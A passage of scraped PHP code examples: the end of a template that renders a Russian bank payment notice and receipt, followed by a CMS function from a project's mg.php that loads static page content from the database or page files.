            box-shadow: 0 0 4px 2px #CFCFCF inset;
            outline:none;
          }
          #control-panel .btn-print { float: left; }
          #control-panel .btn-personal { float: right; }
          #top { border-bottom: 4px solid #000; }
          #top, #bottom { overflow: hidden; }
          #left01, #left02 { float: left; width: 185px; }
          #right01, #right02 { width: 600px; float: right; border-left: 4px solid #000; }
          #right01 dt, #right02 dt { text-align: center; }
          #right01 dd, #right02 dd { text-align: center; font-size: 13px; }
          .line { border-bottom: 1px solid #000;  padding: 25px 0 0 0; }
          .line2 { border-bottom: 1px solid #000; padding: 15px 0 0 0; }
          .inn { float: left; margin: 0 30px 0 0; width: 250px; }
          .nsp { float: right; width: 320px; }
          .bank { float: left; margin: 0 25px 0 0; width: 325px; }
          .bik dt, .ncsp dt, .payer dt, .addrPayer dt { float: left; padding: 10px 0 0 5px; }
          .bik dd, .ncsp dd, .payer dd, .addrPayer dd { float: right; width: 200px; font-size: 16px !important; padding: 10px 0 0 0; text-align: left !important; }
          .ncsp dd { width: 250px; margin: 0 0 7px 0; }
          .payer dd { width: 430px; }
          .addrPayer dd { width: 430px; }
          .appointment { float: left; margin: 0 30px 0 0; width: 320px; }
          .nls { float: right; width: 250px; }
          .sRub { float: left; width: 290px; }
          .uRub {float: right; width: 310px; }
          .result { float: left; width: 290px; margin: 10px 0 0 0;}
          .date { float: left; margin: 10px 0 0 0;}
          .terms { margin: 10px 0 40px 5px; }

          @media print {
            .no-print {
              display:none;
            }
          }
        </style>
      <head>
      <body>
        <div class="blanks-wrapper">
          <div id="control-panel" class="no-print">
            <a href="javascript:vodi(0);" onclick="window.print();" class="no-print btn-print"><span>Распечатать</span></a>
            <a href="<?php 
        echo SITE;
        ?>
/personal" class="no-print btn-personal"><span>Вернуться в личный кабинет</span></a>
          </div>  
          <div id="blank">
            <div id="top">
              <div id="left01">
                <p style="text-align: center;">
                  <strong>Извещание</strong>
                  <strong style="display: block; margin-top: 150%;">Кассир</strong>
                </p>
              </div>
              <div id="right01">
                <dl>
                  <dt><?php 
        echo $name;
        ?>
</dt>
                  <dd>(наименование получателя)</dd>
                </dl>

                <dl class="inn">
                  <dt><?php 
        echo $inn;
        ?>
</dt>
                  <dd>(ИНН получателя платежа)</dd>
                </dl>

                <dl class="nsp">
                  <dt><?php 
        echo $nsp;
        ?>
</dt>
                  <dd>(номер счета получателя платежа)</dd>
                </dl>

                <dl class="bank">
                  <dt><?php 
        echo $bank;
        ?>
</dt>
                  <dd>(наименование банка получателя)</dd>
                </dl>

                <dl class="bik">
                  <dt>БИК</dt>
                  <dd><?php 
        echo $bik;
        ?>
</dd>
                </dl>
                <div class="clear"></div>

                <dl class="ncsp">
                  <dt>Номер кор./сч банка получателя платежа</dt>
                  <dd><?php 
        echo $ncsp;
        ?>
</dd>
                </dl>
                <div class="clear"></div>

                <dl class="appointment">
                  <dt><?php 
        echo $appointment;
        ?>
</dt>
                  <dd>(наименование платежа)</dd>
                </dl>

                <dl class="nls">
                  <dt><?php 
        echo $nls;
        ?>
</dt>
                  <dd>(номер лицевого счета (код) плательщика)</dd>
                </dl>

                <dl class="payer">
                  <dt>Ф.И.О. плательщика:</dt>
                  <dd><?php 
        echo $payer;
        ?>
</dd>
                </dl>

                <div class="clear"></div>
                <dl class="addrPayer">
                  <dt>Адрес плательщика:</dt>
                  <dd><?php 
        echo $addrPayer;
        ?>
</dd>
                </dl>

                <div class="clear"></div>
                <?php 
        echo $currency = MG::getSetting('currency');
        ?>
                <div class="sRub">
                  <p>Сумма платежа: <?php 
        echo $sRub;
        ?>
 <?php 
        echo $currency;
        ?>
 <?php 
        echo $sKop;
        ?>
 коп.</p>
                </div>
                <div class="sKop">
                  <p>Сумма платы за услуги <?php 
        echo $uRub;
        ?>
 <?php 
        echo $currency;
        ?>
 <?php 
        echo $uKop;
        ?>
 коп.</p>
                </div>
                <div class="result">
                  <p>Итого: <?php 
        echo $rub;
        ?>
 <?php 
        echo $currency;
        ?>
 <?php 
        echo $kop;
        ?>
 коп.</p>
                </div>

                <div class="date"><?php 
        echo $day;
        ?>
.<?php 
        echo $month;
        ?>
.<?php 
        echo date('Y');
        ?>
 г.</div>
                <div class="clear"></div>
                <p class="terms">
                  С условиями приема указанной в платежном документе суммы, в т.ч. с суммой взимаемой платы
                  банка ознакомлен и согласен.
                </p>
              </div>
              <div class="clear"></div>
              <div id="bottom" style="border-top: 4px solid #000">
                <div id="left02">
                  <p style="text-align: center; margin-top: 150%;">
                    <strong>Квитанция</strong><br>
                    <strong>Кассир</strong>
                  </p>
                </div>
                <div id="right02">
                  <dl>
                    <dt><?php 
        echo $name;
        ?>
</dt>
                    <dd>(наименование получателя)</dd>
                  </dl>

                  <dl class="inn">
                    <dt><?php 
        echo $inn;
        ?>
</dt>
                    <dd>(ИНН получателя платежа)</dd>
                  </dl>

                  <dl class="nsp">
                    <dt><?php 
        echo $nsp;
        ?>
</dt>
                    <dd>(номер счета получателя платежа)</dd>
                  </dl>

                  <dl class="bank">
                    <dt><?php 
        echo $bank;
        ?>
</dt>
                    <dd>(наименование банка получателя)</dd>
                  </dl>

                  <dl class="bik">
                    <dt>БИК</dt>
                    <dd><?php 
        echo $bik;
        ?>
</dd>
                  </dl>
                  <div class="clear"></div>

                  <dl class="ncsp">
                    <dt>Номер кор./сч банка получателя платежа</dt>
                    <dd><?php 
        echo $ncsp;
        ?>
</dd>
                  </dl>
                  <div class="clear"></div>

                  <dl class="appointment">
                    <dt><?php 
        echo $appointment;
        ?>
</dt>
                    <dd>(наименование платежа)</dd>
                  </dl>

                  <dl class="nls">
                    <dt><?php 
        echo $nls;
        ?>
</dt>
                    <dd>(номер лицевого счета (код) плательщика)</dd>
                  </dl>

                  <dl class="payer">
                    <dt>Ф.И.О. плательщика:</dt>
                    <dd><?php 
        echo $payer;
        ?>
</dd>
                  </dl>

                  <div class="clear"></div>
                  <dl class="addrPayer">
                    <dt>Адрес плательщика:</dt>
                    <dd><?php 
        echo $addrPayer;
        ?>
</dd>
                  </dl>

                  <div class="clear"></div>
                  <div class="sRub">
                    <p>Сумма платежа: <?php 
        echo $sRub;
        ?>
 <?php 
        echo $currency;
        ?>
 <?php 
        echo $sKop;
        ?>
 коп.</p>
                  </div>
                  <div class="sKop">
                    <p>Сумма платы за услуги <?php 
        echo $uRub;
        ?>
 <?php 
        echo $currency;
        ?>
 <?php 
        echo $uKop;
        ?>
 коп.</p>
                  </div>
                  <div class="result">
                    <p>Итого: <?php 
        echo $rub;
        ?>
 <?php 
        echo $currency;
        ?>
 <?php 
        echo $kop;
        ?>
 коп.</p>
                  </div>

                  <div class="date"><?php 
        echo $day;
        ?>
.<?php 
        echo $month;
        ?>
.<?php 
        echo date('Y');
        ?>
 г.</div>
                  <div class="clear"></div>
                  <p class="terms">
                    С условиями приема указанной в платежном документе суммы, в т.ч. с суммой взимаемой платы
                    банка ознакомлен и согласен.
                  </p>
                </div>
              </div>
            </div>
          </div>
        </div>
      </body>
    </html><?php 
        if ($public) {
            exit;
        }
        $html = ob_get_contents();
        ob_end_clean();
        return $html;
    }
Example #12
0
File: mg.php Project: nellka/mebel
 /**
  * Получает контент статической HTML страницы из БД.  
  * @return string|boolean - возвращает либо HTML либо false.
  */
 public static function getHtmlContent()
 {
     $result = false;
     $sections = URL::getSections();
     $arrayStaticPage = self::get('staticPage');
     $url = URL::parsePageUrl();
     $url = $url ? $url : 'index';
     $parentUrl = URL::parseParentUrl();
     $parentUrl = $parentUrl != '/' ? $parentUrl : '';
     foreach ($arrayStaticPage as $table => $content) {
         $res = DB::query('
       SELECT *
       FROM `' . PREFIX . $table . '`
       WHERE (parent_url=' . DB::quote($parentUrl) . ' AND url=' . DB::quote($url . ".html") . ')
         OR (parent_url=' . DB::quote($parentUrl) . ' AND url=' . DB::quote($url) . ' )
     ');
         if ($html = DB::fetchAssoc($res)) {
             $result = self::inlineEditor(PREFIX . $table, 'html_content', $html['id'], $html[$content]);
             self::titlePage($html['title']);
             self::seoMeta($html);
         }
     }
     //если HTML файл не найден в БД сайта, возможно такой файл есть в 'mg-pages/'
     if (!$result) {
         if (file_exists(PAGE_DIR . URL::getUri()) && !is_dir(PAGE_DIR . URL::getUri())) {
             MG::disableTemplate();
             $result = file_get_contents(PAGE_DIR . URL::getUri());
         }
     }
     if ($result) {
         MG::set('isStaticPage', true);
     }
     $args = func_get_args();
     return self::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args);
 }